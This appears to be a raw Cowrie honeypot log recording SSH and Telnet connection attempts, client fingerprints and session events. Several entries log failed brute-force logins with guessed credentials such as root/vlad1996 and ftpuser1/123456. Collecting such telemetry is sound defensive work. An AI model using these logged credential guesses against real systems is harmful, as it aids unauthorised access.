{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59754,"dst_ip":"10.17.0.5","dst_port":23,"session":"59d9936fa442","protocol":"telnet","message":"New connection: 152.42.224.71:59754 (10.17.0.5:23) [session: 59d9936fa442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:06:59.483086Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"32a4d3910fcb","protocol":"ssh","message":"New connection: 81.9.145.130:48710 (10.17.0.5:22) [session: 32a4d3910fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:01.483653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:01.488585Z","src_ip":"81.9.145.130","session":"32a4d3910fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:01.602044Z","src_ip":"81.9.145.130","session":"32a4d3910fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deskjet","message":"login attempt [root/deskjet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:02.085438Z","src_ip":"81.9.145.130","session":"32a4d3910fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:03.202450Z","src_ip":"81.9.145.130","session":"32a4d3910fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":33194,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5f7abc86f7","protocol":"ssh","message":"New connection: 94.159.98.239:33194 (10.17.0.5:22) [session: fc5f7abc86f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:04.728432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:04.740679Z","src_ip":"94.159.98.239","session":"fc5f7abc86f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:04.868562Z","src_ip":"94.159.98.239","session":"fc5f7abc86f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad1996","message":"login attempt [root/vlad1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:05.280433Z","src_ip":"94.159.98.239","session":"fc5f7abc86f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2f35c4aa12","protocol":"telnet","message":"New connection: 152.42.224.71:44190 (10.17.0.5:23) [session: 0b2f35c4aa12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:05.857835Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:06.422702Z","src_ip":"94.159.98.239","session":"fc5f7abc86f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.65286374092102,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:06.603638Z","src_ip":"152.42.224.71","session":"aa55337dac47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44202,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6d50b6a3181","protocol":"telnet","message":"New connection: 152.42.224.71:44202 (10.17.0.5:23) [session: e6d50b6a3181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:07.203454Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44212,"dst_ip":"10.17.0.5","dst_port":23,"session":"7125569a7840","protocol":"telnet","message":"New connection: 152.42.224.71:44212 (10.17.0.5:23) [session: 7125569a7840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:12.227812Z"}
{"eventid":"cowrie.session.closed","duration":47.029032945632935,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:12.794950Z","src_ip":"152.42.224.71","session":"8948b13d1fcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05822134017944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:13.106122Z","src_ip":"152.42.224.71","session":"31a36991495d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.18968915939331,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:22.086434Z","src_ip":"152.42.224.71","session":"35afce6c7f71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.87074637413025,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:27.622274Z","src_ip":"152.42.224.71","session":"73085e7e23ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.54927182197571,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:29.527506Z","src_ip":"152.42.224.71","session":"1af59da32c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58172,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a3d4122835","protocol":"ssh","message":"New connection: 47.237.167.49:58172 (159.203.135.109:22) [session: c1a3d4122835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:33.380249Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38952,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5be11076e02","protocol":"telnet","message":"New connection: 152.42.224.71:38952 (10.17.0.5:23) [session: d5be11076e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:34.905824Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38962,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b3ab96804a6","protocol":"telnet","message":"New connection: 152.42.224.71:38962 (10.17.0.5:23) [session: 6b3ab96804a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:34.944086Z"}
{"eventid":"cowrie.session.closed","duration":52.454360008239746,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:35.135856Z","src_ip":"152.42.224.71","session":"dfcc769ff2a0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:36.006371Z","src_ip":"47.237.167.49","session":"c1a3d4122835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:36.234126Z","src_ip":"47.237.167.49","session":"c1a3d4122835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":60788,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8537888618","protocol":"ssh","message":"New connection: 182.93.50.90:60788 (10.17.0.5:22) [session: 9c8537888618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:39.843858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:39.848981Z","src_ip":"182.93.50.90","session":"9c8537888618","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:40.070153Z","src_ip":"182.93.50.90","session":"9c8537888618","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ylngylng","message":"login attempt [root/ylngylng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:41.006722Z","src_ip":"182.93.50.90","session":"9c8537888618","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.83335638046265,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:41.316360Z","src_ip":"152.42.224.71","session":"59d9936fa442","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:42.229089Z","src_ip":"182.93.50.90","session":"9c8537888618","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47956,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf04ae574281","protocol":"telnet","message":"New connection: 152.42.224.71:47956 (10.17.0.5:23) [session: cf04ae574281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:44.124361Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54056,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5bfc25b0d02","protocol":"telnet","message":"New connection: 152.42.224.71:54056 (10.17.0.5:23) [session: f5bfc25b0d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:51.912749Z"}
{"eventid":"cowrie.session.closed","duration":42.63948202133179,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:54.867146Z","src_ip":"152.42.224.71","session":"7125569a7840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60916,"dst_ip":"10.17.0.5","dst_port":23,"session":"47b9ad928350","protocol":"telnet","message":"New connection: 152.42.224.71:60916 (10.17.0.5:23) [session: 47b9ad928350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:07:59.705652Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60922,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccb6bfac9abd","protocol":"telnet","message":"New connection: 152.42.224.71:60922 (10.17.0.5:23) [session: ccb6bfac9abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:01.925766Z"}
{"eventid":"cowrie.session.closed","duration":29.32389497756958,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:04.229594Z","src_ip":"152.42.224.71","session":"d5be11076e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.596304416656494,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:17.540255Z","src_ip":"152.42.224.71","session":"6b3ab96804a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35876,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cafa3a0df69","protocol":"telnet","message":"New connection: 152.42.224.71:35876 (10.17.0.5:23) [session: 7cafa3a0df69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:18.887295Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:21.259214Z","src_ip":"47.237.167.49","session":"c1a3d4122835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00175857543945,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:22.536864Z","src_ip":"152.42.224.71","session":"d29bf0437b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"50.6","message":"Connection lost after 50.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:23.949268Z","src_ip":"47.237.167.49","session":"c1a3d4122835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.379454135894775,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:26.292031Z","src_ip":"152.42.224.71","session":"f5bfc25b0d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56844,"dst_ip":"10.17.0.5","dst_port":23,"session":"d59c1652621e","protocol":"telnet","message":"New connection: 152.42.224.71:56844 (10.17.0.5:23) [session: d59c1652621e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:29.397196Z"}
{"eventid":"cowrie.session.closed","duration":84.7523021697998,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:31.955642Z","src_ip":"152.42.224.71","session":"e6d50b6a3181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68978691101074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:35.615414Z","src_ip":"152.42.224.71","session":"ccb6bfac9abd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":108.26960396766663,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:35.672870Z","src_ip":"152.42.224.71","session":"057f27970a92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.66534113883972,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:44.523040Z","src_ip":"152.42.224.71","session":"0b2f35c4aa12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":51758,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ea4503372d","protocol":"ssh","message":"New connection: 139.19.117.129:51758 (159.203.135.109:22) [session: 84ea4503372d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:46.726573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:46.731043Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:46.822870Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:e4:56:da:c3:e8:22:b4:d2:c6:55:bb:01:69:e4:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAv/THcnTYUFCwZZ7eM7diqLDBlVGbuRSefj8Ogqui6I5E3NWesIvQ3KQTkXdPX2F41yVXAFsXRw76drOwuVq5sZJc8TH81vKhXgK2Ltbkc1wcUgkvsSDRlymK5uDitjaY2gD11v+oQQNro6zlnGTM+yH7EFee6v5RwQB+KtcXVZrejYv1ZvrC7GWwfHcGm5UQSItHiFEXNihsE2XqDRwqRBpHnxRJ4f7NEqoL0o/YiuEmB7AbctxFj7/QeTxTZNSNYyH92Ay6XEHjhdsmN1it3/MjOhMm3p0kiFUpDbujpXosYCOIKVgO68ha1aEyyoND9W2MpzYRf9CTtRyLaHTSww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:e4:56:da:c3:e8:22:b4:d2:c6:55:bb:01:69:e4:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:08:47.011153Z","src_ip":"139.19.117.129","session":"84ea4503372d","protocol":"ssh"}
